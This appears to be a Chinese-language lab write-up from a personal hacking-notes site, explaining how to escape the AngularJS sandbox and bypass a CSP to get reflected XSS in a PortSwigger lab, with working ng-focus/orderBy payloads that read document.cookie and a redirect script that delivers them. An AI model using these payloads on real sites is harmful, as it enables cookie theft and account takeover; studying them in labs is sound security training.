> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/angularjs-sandbox-escape-with-csp.md).

# 带 CSP 的 AngularJS 沙箱逃逸

### 利用 AngularJS 沙盒逃逸和 CSP 的反射型 XSS

执行一次绕过内容安全策略、逃逸 AngularJS 沙盒并运行的反射型跨站脚本攻击 `alert(document.cookie)`.

**注释**/ 该站点使用了一项 CSP 策略，阻止来自外部域的脚本执行：

```javascript
default-src 'self'; script-src 'self'; style-src 'unsafe-inline' 'self'
```

<figure><img src="/files/668a28a5ca50904aaeaf2ebdd7c62f8195634e4d" alt=""><figcaption></figcaption></figure>

通过查阅 PortSwigger 备忘单，我们找到了一个可用的 AngularJS 向量，可通过一个 `orderBy` 应用于该 `$event.composedPath()` 事件。

<figure><img src="/files/56ddd94ea3b92d67ba350bdde6102a6028158d71" alt=""><figcaption></figcaption></figure>

* 要触发一个 alert：

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
```

<figure><img src="/files/2bc2622e72a417e8dbc2d3b0777852abb529d1e3" alt=""><figcaption></figcaption></figure>

* 要显示 `document.cookie`:

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>
```

用于传递载荷并强制在受害者端执行的 URL 示例：

```javascript
<script>
location = 'https://0a7d008d035a764f8087997e004a0051.web-security-academy.net/?search=<input id=x+ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27>#x';
</script>
```

<figure><img src="/files/2ea251d93c9a58c8fc2a09cdc683e1b6e401b4f9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/angularjs-sandbox-escape-with-csp.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
